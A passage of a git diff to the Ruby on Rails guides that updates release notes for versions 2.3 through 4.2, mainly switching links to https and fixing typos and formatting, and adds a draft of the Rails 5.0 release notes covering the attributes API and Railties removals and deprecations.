[rg](http://github.com/jeremymcanally/rg/tree/master) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application: +Rails 2.3 incorporates Jeremy McAnally's [rg](https://github.com/jm/rg) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application: ``` rake rails:template LOCATION=~/template.rb @@ -572,7 +572,7 @@ This will layer the changes from the template on top of whatever code the projec ### Quieter Backtraces -Building on Thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace. +Building on thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace. ### Faster Boot Time in Development Mode with Lazy Loading/Autoload @@ -605,8 +605,8 @@ Deprecated A few pieces of older code are deprecated in this release: -* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin. -* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master). +* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](https://github.com/rails/irs_process_scripts/tree) plugin. +* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](https://github.com/rails/render_component/tree/master). * Support for Rails components has been removed. * If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back. * `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now. @@ -614,7 +614,7 @@ A few pieces of older code are deprecated in this release: * Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client. * `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead. * The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`. -* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connnector`, `:two_words_connector`, and `:last_word_connector` options. +* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connector`, `:two_words_connector`, and `:last_word_connector` options. * Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one. Credits diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md index 9ad32e8168..49d37ba489 100644 --- a/guides/source/3_0_release_notes.md +++ b/guides/source/3_0_release_notes.md @@ -17,7 +17,7 @@ Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is g On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices. -These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/3-0-stable) in the main Rails repository on GitHub. +These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-0-stable) in the main Rails repository on GitHub. -------------------------------------------------------------------------------- @@ -63,7 +63,7 @@ The `config.gem` method is gone and has been replaced by using `bundler` and a ` ### Upgrade Process -To help with the upgrade process, a plugin named [Rails Upgrade](http://github.com/rails/rails_upgrade) has been created to automate part of it. +To help with the upgrade process, a plugin named [Rails Upgrade](https://github.com/rails/rails_upgrade) has been created to automate part of it. Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: @@ -86,9 +86,9 @@ $ cd myapp ### Vendoring Gems -Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](http://github.com/carlhuda/bundler,) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/bundler/bundler) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. -More information: - [bundler homepage](http://gembundler.com) +More information: - [bundler homepage](http://bundler.io/) ### Living on the Edge @@ -138,14 +138,14 @@ More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/r ### Arel Integration -[Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. +[Arel](https://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. More information: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/) ### Mail Extraction -Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](http://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. +Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](https://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser. More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3) @@ -161,7 +161,7 @@ More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org Internationalization -------------------- -A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](http://github.com/svenfuchs/i18n) gem supplying many speed improvements. +A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](https://github.com/svenfuchs/i18n) gem supplying many speed improvements. * I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations. * Attributes can have default translations. @@ -213,7 +213,6 @@ Railties now deprecates: More information: * [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators) -* [Making Generators for Rails 3 with Thor](http://caffeinedd.com/guides/331-making-generators-for-rails-3-with-thor) * [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/) Action Pack @@ -250,7 +249,7 @@ Deprecations: More Information: -* [Render Options in Rails 3](http://www.engineyard.com/blog/2010/render-options-in-rails-3/) +* [Render Options in Rails 3](https://blog.engineyard.com/2010/render-options-in-rails-3) * [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder) @@ -310,7 +309,7 @@ More Information: Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. -What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example: +What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](https://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example: ```ruby form_for @post, :remote => true @@ -576,7 +575,7 @@ The following methods have been removed because they are no longer used in the f Action Mailer ------------- -Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. +Action Mailer has been given a new API with TMail being replaced out with the new [Mail](https://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. * All mailers are now in `app/mailers` by default. * Can now send email using new API with three methods: `attachments`, `headers` and `mail`. diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md index 537aa5a371..feee0f9920 100644 --- a/guides/source/3_1_release_notes.md +++ b/guides/source/3_1_release_notes.md @@ -151,7 +151,7 @@ $ cd myapp Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. -More information: - [bundler homepage](http://gembundler.com) +More information: - [bundler homepage](http://bundler.io/) ### Living on the Edge @@ -199,7 +199,7 @@ Railties * jQuery is the new default JavaScript library. -* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems. +* jQuery and Prototype are no longer vendored and is provided from now on by the `jquery-rails` and `prototype-rails` gems. * The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. @@ -558,4 +558,4 @@ Credits See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. -Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.) +Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev) diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md index 6ddf77d9c0..f16d509f77 100644 --- a/guides/source/3_2_release_notes.md +++ b/guides/source/3_2_release_notes.md @@ -81,7 +81,7 @@ $ cd myapp Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. -More information: [Bundler homepage](http://gembundler.com) +More information: [Bundler homepage](http://bundler.io/) ### Living on the Edge @@ -154,7 +154,7 @@ Railties rails g scaffold Post title:string:index author:uniq price:decimal{7,2} ``` - will create indexes for `title` and `author` with the latter being an unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively. + will create indexes for `title` and `author` with the latter being a unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively. * Turn gem has been removed from default Gemfile. @@ -327,7 +327,7 @@ Active Record * Implemented `ActiveRecord::Relation#explain`. -* Implements `AR::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block. +* Implements `ActiveRecord::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block. * Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL. diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md index bbc0efa3ea..4615cf18e6 100644 --- a/guides/source/4_0_release_notes.md +++ b/guides/source/4_0_release_notes.md @@ -36,7 +36,7 @@ $ cd myapp Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. -More information: [Bundler homepage](http://gembundler.com) +More information: [Bundler homepage](http://bundler.io) ### Living on the Edge @@ -59,25 +59,25 @@ Major Features ### Upgrade - * **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required - * **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1. - * **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching. - * **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code. - * **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store. - * **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters. - * **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used. - * **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems. +* **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required +* **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1. +* **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching. +* **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code. +* **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store. +* **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters. +* **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used. +* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems. ### ActionPack - * **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`). - * **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`). - * **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`. - * **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation. - * **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object. - * **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body. - * **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1. - * **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel. +* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`). +* **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`). +* **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`. +* **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation. +* **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object. +* **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body. +* **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1. +* **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel. ### General @@ -95,9 +95,9 @@ NOTE: Check that the gems you are using are threadsafe. ### Security - * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified. - * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called. - * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe). +* **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified. +* **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called. +* **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe). Extraction of features to gems --------------------------- @@ -108,7 +108,7 @@ In Rails 4.0, several features have been extracted into gems. You can simply add * Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251)) * ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436)) * Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2)) -* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource)) +* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia-blog-blog.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource)) * Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) * Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) * Sprockets ([GitHub](https://github.com/rails/sprockets-rails)) diff --git a/guides/source/4_2_release_notes.md b/guides/source/4_2_release_notes.md index 366d9d26b4..73e6c2c05b 100644 --- a/guides/source/4_2_release_notes.md +++ b/guides/source/4_2_release_notes.md @@ -227,6 +227,17 @@ restore the old behavior. If you do this, be sure to configure your firewall properly such that only trusted machines on your network can access your development server. +### Changed status option symbols for `render` + +Due to a [change in Rack](https://github.com/rack/rack/commit/be28c6a2ac152fe4adfbef71f3db9f4200df89e8), the symbols that the `render` method accepts for the `:status` option have changed: + +- 306: `:reserved` has been removed. +- 413: `:request_entity_too_large` has been renamed to `:payload_too_large`. +- 414: `:request_uri_too_long` has been renamed to `:uri_too_long`. +- 416: `:requested_range_not_satisfiable` has been renamed to `:range_not_satisfiable`. + +Keep in mind that if calling `render` with an unknown symbol, the response status will default to 500. + ### HTML Sanitizer The HTML sanitizer has been replaced with a new, more robust, implementation @@ -257,7 +268,7 @@ application is using any of these spellings, you will need to update them: * Values in attribute selectors may need to be quoted if they contain non-alphanumeric characters. - ``` + ```ruby # before a[href=/] a[href$=/] @@ -272,7 +283,7 @@ application is using any of these spellings, you will need to update them: For example: - ``` ruby + ```ruby # content: <div><i><p></i></div> # before: @@ -290,7 +301,7 @@ application is using any of these spellings, you will need to update them: used to be raw (e.g. `AT&T`), and now is evaluated (e.g. `AT&T`). - ``` ruby + ```ruby # content: <p>AT&T</p> # before: @@ -302,6 +313,30 @@ application is using any of these spellings, you will need to update them: assert_select('p', 'AT&T') # => false ``` +Furthermore substitutions have changed syntax. + +Now you have to use a `:match` CSS-like selector: + +```ruby +assert_select ":match('id', ?)", 'comment_1' +``` + +Additionally Regexp substitutions look different when the assertion fails. +Notice how `/hello/` here: + +```ruby +assert_select(":match('id', ?)", /hello/) +``` + +becomes `"(?-mix:hello)"`: + +``` +Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0.. +Expected 0 to be >= 1. +``` + +See the [Rails Dom Testing](https://github.com/rails/rails-dom-testing/tree/8798b9349fb9540ad8cb9a0ce6cb88d1384a210b) documentation for more on `assert_select`. + Railties -------- @@ -370,7 +405,7 @@ Please refer to the [Changelog][railties] for detailed changes. url: http://localhost:3001 namespace: my_app_development - # config/production.rb + # config/environments/production.rb Rails.application.configure do config.middleware.use ExceptionNotifier, config_for(:exception_notification) end diff --git a/guides/source/5_0_release_notes.md b/guides/source/5_0_release_notes.md new file mode 100644 index 0000000000..c2d3e0aeff --- /dev/null +++ b/guides/source/5_0_release_notes.md @@ -0,0 +1,934 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** + +Ruby on Rails 5.0 Release Notes +=============================== + +Highlights in Rails 5.0: + +* Action Cable +* Rails API +* Active Record Attributes API +* Test Runner +* Exclusive use of `rails` CLI over Rake +* Sprockets 3 +* Turbolinks 5 +* Ruby 2.2.2+ required + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/5-0-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 5.0 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.2 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 5.0. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-2-to-rails-5-0) +guide. + + +Major Features +-------------- + +### Action Cable +[Pull Request](https://github.com/rails/rails/pull/22586) + +ToDo... + +### Rails API +[Pull Request](https://github.com/rails/rails/pull/19832) + +ToDo... + +### Active Record attributes API + +Defines an attribute with a type on a model. It will override the type of existing attributes if needed. +This allows control over how values are converted to and from SQL when assigned to a model. +It also changes the behavior of values passed to ActiveRecord::Base.where, which lets use our domain objects across much of Active Record, +without having to rely on implementation details or monkey patching. + +Some things that you can achieve with this: +* The type detected by Active Record can be overridden. +* A default can also be provided. +* Attributes do not need to be backed by a database column. + +```ruby + +# db/schema.rb +create_table :store_listings, force: true do |t| + t.decimal :price_in_cents + t.string :my_string, default: "original default" +end + +# app/models/store_listing.rb +class StoreListing < ActiveRecord::Base +end + +store_listing = StoreListing.new(price_in_cents: '10.1') + +# before +store_listing.price_in_cents # => BigDecimal.new(10.1) +StoreListing.new.my_string # => "original default" + +class StoreListing < ActiveRecord::Base + attribute :price_in_cents, :integer # custom type + attribute :my_string, :string, default: "new default" # default value + attribute :my_default_proc, :datetime, default: -> { Time.now } # default value + attribute :field_without_db_column, :integer, array: true +end + +# after +store_listing.price_in_cents # => 10 +StoreListing.new.my_string # => "new default" +StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600 +model = StoreListing.new(field_without_db_column: ["1", "2", "3"]) +model.attributes #=> {field_without_db_column: [1, 2, 3]} +``` + +**Creating Custom Types:** + +You can define your own custom types, as long as they respond +to the methods defined on the value type. The method +deserialize+ or ++cast+ will be called on your type object, with raw input from the +database or from your controllers. This is useful, for example, when doing custom conversion, +like Money data. + +**Querying:** + +When `ActiveRecord::Base.where` is called, it will +use the type defined by the model class to convert the value to SQL, +calling +serialize+ on your type object. + +This gives the objects ability to specify, how to convert values when performing SQL queries. + +**Dirty Tracking:** + +The type of an attribute is given the opportunity to change how dirty +tracking is performed. + +See its +[documentation](http://api.rubyonrails.org/classes/ActiveRecord/Attributes/ClassMethods.html) +for a detailed write up. + + +### Test Runner +[Pull Request](https://github.com/rails/rails/pull/19216) + +ToDo... + + +Railties +-------- + +Please refer to the [Changelog][railties] for detailed changes. + +### Removals + +* Removed debugger support, use byebug instead. `debugger` is not supported by + Ruby + 2.2. ([commit](https://github.com/rails/rails/commit/93559da4826546d07014f8cfa399b64b4a143127)) + +* Removed deprecated `test:all` and `test:all:db` tasks. + ([commit](https://github.com/rails/rails/commit/f663132eef0e5d96bf2a58cec9f7c856db20be7c)) + +* Removed deprecated `Rails::Rack::LogTailer`. + ([commit](https://github.com/rails/rails/commit/c564dcb75c191ab3d21cc6f920998b0d6fbca623)) + +* Removed deprecated `RAILS_CACHE` constant. + ([commit](https://github.com/rails/rails/commit/b7f856ce488ef8f6bf4c12bb549f462cb7671c08)) + +* Removed deprecated `serve_static_assets` configuration. + ([commit](https://github.com/rails/rails/commit/463b5d7581ee16bfaddf34ca349b7d1b5878097c)) + +* Removed the documentation tasks `doc:app`, `doc:rails`, and `doc:guides`. + ([commit](https://github.com/rails/rails/commit/cd7cc5254b090ccbb84dcee4408a5acede25ef2a)) + +* Removed `Rack::ContentLength` middleware from the default + stack. ([Commit](https://github.com/rails/rails/commit/56903585a099ab67a7acfaaef0a02db8fe80c450)) + +### Deprecations + +* Deprecated `config.static_cache_control` in favor of + `config.public_file_server.headers`. + ([Pull Request](https://github.com/rails/rails/pull/22173)) + +* Deprecated `config.serve_static_files` in favor of `config.public_file_server.enabled`. + ([Pull Request](https://github.com/rails/rails/pull/22173)) + +* Deprecated the tasks in the `rails` task namespace in favor of the `app` namespace. + (e.g. `rails:update` and `rails:template` tasks is renamed to `app:update` and `app:template`.) + ([Pull Request](https://github.com/rails/rails/pull/23439)) + +### Notable changes + +* Added Rails test runner `bin/rails test`. + ([Pull Request](https://github.com/rails/rails/pull/19216)) + +* Newly generated applications and plugins get a `README.md` in Markdown. + ([commit](https://github.com/rails/rails/commit/89a12c931b1f00b90e74afffcdc2fc21f14ca663), + [Pull Request](https://github.com/rails/rails/pull/22068)) + +* Added `bin/rails restart` task to restart your Rails app by touching `tmp/restart.txt`. + ([Pull Request](https://github.com/rails/rails/pull/18965)) + +* Added `bin/rails initializers` task to print out all defined initializers in + the order they are invoked by Rails. + ([Pull 